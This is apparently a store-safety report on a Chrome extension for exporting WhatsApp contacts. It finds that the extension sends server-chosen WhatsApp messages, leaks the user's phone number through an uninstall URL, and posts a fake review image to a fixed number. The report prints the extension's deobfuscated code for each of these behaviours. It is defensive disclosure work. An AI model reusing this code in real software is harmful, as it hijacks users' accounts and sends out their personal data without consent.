Is Free WhatsApp Chat Backup - Export WhatsApp Contact to Excel/CSV/VCard safe?

High risk

WhatsApp Chat Backup is high risk. Opening the popup's forward-message feature requests a task from wadesk.io tied to the account and WhatsApp identity. Its fields make WhatsApp Web send server-selected text to a server-selected recipient. DA didn't observe this live.…

tianfa9527v2.0.18Chrome Web Store
78Risk
Who publishes it

tianfa9527 - 1 other listing from the same operator, none carrying a finding

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
tianfa9527

Same store account

1 other listing published from this account, 4k+ users between them, none of them carrying a finding.

Shared hosts - 3 hostnames

Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.

cdn.wadesk.io
Also called by 5 other listings
walink.ai
Also called by 6 other listings
wadesk.io
Also called by 7 other listings, including Audio to Text + Translation in WhatsApp Web using AI, WA Web Translate - Real-time Message Translate & Audio to Text, WhatsApp Bulk Sender – WA Sender & Blast Tool

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Server-Selected WhatsApp Messages From the Popup

Opening the popup's forward-message feature requests a task from wadesk.io tied to the account and WhatsApp identity.

Its fields make WhatsApp Web send server-selected text to a server-selected recipient.

DA didn't observe this live.

Severity
High unwanted
Type
Unexpected
CWE
CWE-506
Source
Dynamic sandbox
What actually happens
You did this

You open the extension popup's forward-message dialog.

The dialog calls its open handler before showing the message preview.

The extension did this

The extension requests one server-selected WhatsApp task and sends its text to its recipient.

The task is only reachable when both the wadesk.io account token and a WhatsApp Web session are available.

Fields that drive the forwarding task
  • Your WhatsApp identity
    14155551234@c.us (illustrative)

    Ties the task request to the WhatsApp account currently known to the extension.

  • Forwarding source
    forward_type=1, forward_source=4

    Tells the server which extension flow is asking for work.

  • Message text
    Your shipment update is ready (illustrative)

    This is the text that can be sent from your active WhatsApp Web session.

  • Recipient phone number
    15551234567 (illustrative)

    Controls which WhatsApp account receives the server-selected message.

  • Task status
    message_id=948271, send_status=4 (illustrative)

    Lets the server record whether the message send succeeded or failed.

Captured request
POSThttps://wadesk.io/api/ext/v2/un_token/forward_message/get_one

No live matching request was captured without both a wadesk.io session and an authenticated WhatsApp Web session.

Headers
Ext-Name
WDExport
Content-Type
application/json
Authorization
Bearer <redacted>
The code that does this

The popup fetches a task and passes its fields toward WhatsApp Web

Readable version

Popup dialog methods after formatting

popup.js
async handleOpen() {  this.fetchLoading = true;  const { myWhatsappID: e } = await chrome.storage.local.get(["myWhatsappID"]), o = {    whatsapp_id: e,    forward_type: 1,    forward_source: 4  };  this.forwardData && (o.batch_id = this.forwardData.batchId);  const t = await Object(go["b"])(o);  this.fetchLoading = false;  1e5 === t.code && (t.result ? this.forwardData = t.result : this.$message.error(this.$t("popup.noMoreTask")));}handleSendMessage() {  this.sendLoading = true;  chrome.tabs.query({    active: true,    currentWindow: true  }, e => {    chrome.tabs.sendMessage(e[0].id, {      NAMESPACE: Z["f"],      action: "send-forward-message",      data: {        message: this.forwardData.message,        receiver: this.forwardData.receiver.trim().replace("+", "")      }    });  });}async messageListener(e) {  if ("send-forward-message-result" === e.action)    if (this.sendLoading = false, e.data) {      this.$message.success(this.$t("popup.sendSuccess"));      const { unlimitedUsageExpiredAt: e } = await chrome.storage.local.get(["unlimitedUsageExpiredAt"]), o = Math.round(new Date / 1e3), t = e && e > o ? e : o;      await chrome.storage.local.set({        unlimitedUsageExpiredAt: t + 86400      });      await Object(go["f"])({        message_id: this.forwardData.id,        send_status: 4      });      this.$emit("sendSuccess");    } else {      await Object(go["f"])({        message_id: this.forwardData.id,        send_status: 5      });      this.$message.error(this.$t("popup.sendFailed"));    }}

API wrapper after formatting

popup.js
const n = "https://wadesk.io/api",  c = a["a"].create({    baseURL: n + "/ext/v2",    method: "post"  });c.interceptors.request.use((async function(e) {  e.headers["Content-Type"] = "application/json";  e.headers["Ext-Name"] = "WDExport";  e.params = e.params || {};  const { account: o } = await chrome.storage.local.get("account");  return o && (e.headers.Authorization = "Bearer " + o.accessToken), e;}), (function(e) {  return { error: e };}));c.interceptors.response.use((async function(e) {  const o = e.data;  return o;}), (function(e) {  return { error: e };}));var r = c;async function d(e) {  return r({    url: "un_token/forward_message/get_one",    method: "post",    data: e  });}async function u(e) {  return r({    url: "un_token/forward_message/update_status",    method: "post",    data: e  });}
The code that does this

The content script forwards the task into the injected WhatsApp sender

Readable version

Content script relay after formatting

content-script.js
if ("contactCustomerService" === o.action) {  window.postMessage(o, "*");}if ("send-forward-message" === o.action) {  window.postMessage(o, "*");}return true;

Injected sender after formatting

inject-script/wd-inject.js
async function G(e) {  try {    await window.WPP.chat.sendTextMessage(e.receiver + "@c.us", e.message, {      createChat: true    });    window.postMessage({      NAMESPACE: c["f"],      action: "send-forward-message-result",      data: true    }, "*");  } catch (t) {    window.postMessage({      NAMESPACE: c["f"],      action: "send-forward-message-result",      data: false    }, "*");  }}window.addEventListener("message", async e => {  if (e.data.NAMESPACE === c["f"] && "send-forward-message" === e.data.action) {    G(e.data.data);  }});
External services involved in the forwarding flow
    • wadesk.io

    Receives the task request and status update, and returns the message text and recipient fields used by the popup.

    • web.whatsapp.com

    Runs the WhatsApp Web session where the injected script calls the page's WPP sending API.

WhatsApp Phone Number Sent to wadesk.io on Extension Uninstall

Dynamic analysis confirmed this extension reads your WhatsApp phone number from WhatsApp Web and stores it locally.

On uninstall, Chrome sends it to waexport.wadesk.io as a URL parameter without consent, and in wadesk.io API calls.

Severity
High unwanted
Type
Unexpected
CWE
CWE-200
Source
Dynamic sandbox
What actually happens
You did this

You open WhatsApp Web while logged into your account.

The extension injects a frame script that waits for WhatsApp's JavaScript library (WPP) to be ready.

The extension did this

The extension reads your WhatsApp phone number and registers it in Chrome's uninstall URL, so your number is sent to wadesk.io when you remove the extension.

The number is also stored in chrome.storage.local and included in API calls to wadesk.io while the extension is running.

Parameters included in the uninstall beacon URL sent to waexport.wadesk.io
  • Your WhatsApp phone number
    +14155551234

    The phone number linked to your WhatsApp account, extracted from the logged-in session.

  • Install timestamp
    1780612626

    Unix timestamp of when you first installed the extension.

  • Extension version
    2.0.5

    Which version of the extension you have installed.

  • Browser UI language
    en-GB

    Your Chrome interface language setting.

  • UTM tracking parameters
    utm_source=chrome_extension&utm_medium=chrome_extension&utm_trigger=uninstall

    Marketing attribution tags identifying the uninstall event source.

Captured request
GEThttps://waexport.wadesk.io/ext-wa-export-feedback?utm_source=chrome_extension&utm_medium=chrome_extension&utm_trigger=uninstall&version=2.0.5&hl=en-GB&whatsapp_id=14155551234&install_time=1780612626

Chrome fires this URL automatically when the user removes the extension. The phone number (whatsapp_id parameter) is transmitted as plaintext in the URL.

The code that does this

Background service worker registers the uninstall beacon with the user's phone number embedded.

Readable version

Storage change listener: when userPhoneNum is written, rebuild and register the uninstall URL

background.js
chrome.storage.onChanged.addListener(async (changes, area) => {  if (area === 'local' && changes.userPhoneNum) {    const phoneNumber = changes.userPhoneNum.newValue;    const { installedAt } = await chrome.storage.local.get(['installedAt']);    const { version } = chrome.runtime.getManifest();    const language = chrome.i18n.getUILanguage();    const params = new URLSearchParams({      utm_source: 'chrome_extension',      utm_medium: 'chrome_extension',      utm_trigger: 'uninstall',      version,      hl: language,      whatsapp_id: phoneNumber || '',      install_time: installedAt || ''    });    const uninstallUrl = `https://waexport.wadesk.io/ext-wa-export-feedback?${params.toString()}`;    chrome.runtime.setUninstallURL(uninstallUrl);  }});

initFrame.js: extract phone number from WhatsApp Web session via WPP library

inject-script/initFrame.js
// WPP.conn.getMyUserId() returns e.g. { _serialized: '14155551234@c.us' }const userId = window.WPP.conn.getMyUserId() || { _serialized: '' };const wid = window.WPP.conn.getMyUserWid();let phoneNumber = '';if (wid && wid.user) {  phoneNumber = '+' + wid.user;} else if (userId._serialized) {  phoneNumber = '+' + userId._serialized.split('@')[0].replace(/^\+/, '');}// phoneNumber is then posted to the content script as part of the wpp-full-ready event
Where the phone number is transmitted
    • waexport.wadesk.io

    Receives the user's WhatsApp phone number as a URL parameter in the uninstall feedback beacon. wadesk.io is the extension developer's own SaaS platform.

    • wadesk.io

    Also receives the WhatsApp ID (whatsapp_id parameter) in authenticated API calls to /api/ext/v2 endpoints while the extension is running.

Leave Review sends a WhatsApp image to a fixed phone number

Clicking the Leave Review flow relays a page message into WhatsApp Web and calls its file-message API with an image.

The recipient is hardcoded as 8618976917166@c.us; the caption adds your language plus a fake review claim.

Severity
Medium unwanted
Type
Unexpected
CWE
CWE-200
Source
Dynamic sandbox
What actually happens
You did this

You click the extension's Leave Review flow.

The extension did this

The extension sends an image message from WhatsApp Web to a fixed phone number.

The message uses filename comment.png and a caption saying the browser-language user gave a positive review.

Fields passed to WhatsApp's file-message call
  • WhatsApp recipient
    8618976917166@c.us

    This fixes where the image is sent, regardless of which WhatsApp account you are using.

  • Image filename
    comment.png

    This is the image attachment sent through the active WhatsApp Web session.

  • Browser language
    en-US: I give a positive review for the contact-export extension

    This adds your browser language to the message caption.

  • Message type
    type=image, createChat=true

    The extension tells WhatsApp to create an image message rather than just opening a chat.

The code that does this

The review action is relayed into WhatsApp Web and sent as a file message

Readable version

Readable relay branch in the content script

content-script.js
if ("send-review-cert" === o.action && window.postMessage(o, "*"), "export-chat-history" === o.action) {  const e = await f(o);  return e.success ? (window.postMessage(o, "*"), {    success: !0  }) : e}

Readable injected function that sends the WhatsApp image

inject-script/wd-inject.js
async function z(e) {  await window.WPP.chat.sendFileMessage("8618976917166@c.us", e, {    createChat: !0,    type: "image",    filename: "comment.png",    caption: navigator.language + ": I give a positive review for the contact-export extension"  }), window.postMessage({    NAMESPACE: c["f"],    action: "send-review-cert-result"  }, "*")}
Destination named by the code
    • web.whatsapp.com

    The active WhatsApp Web page is used to send an image message to hardcoded contact 8618976917166@c.us from the signed-in account.

+1 more finding not shown

Updated 30 September 2026ldodkdnfdpchaipnoklfnfmbbkdoocej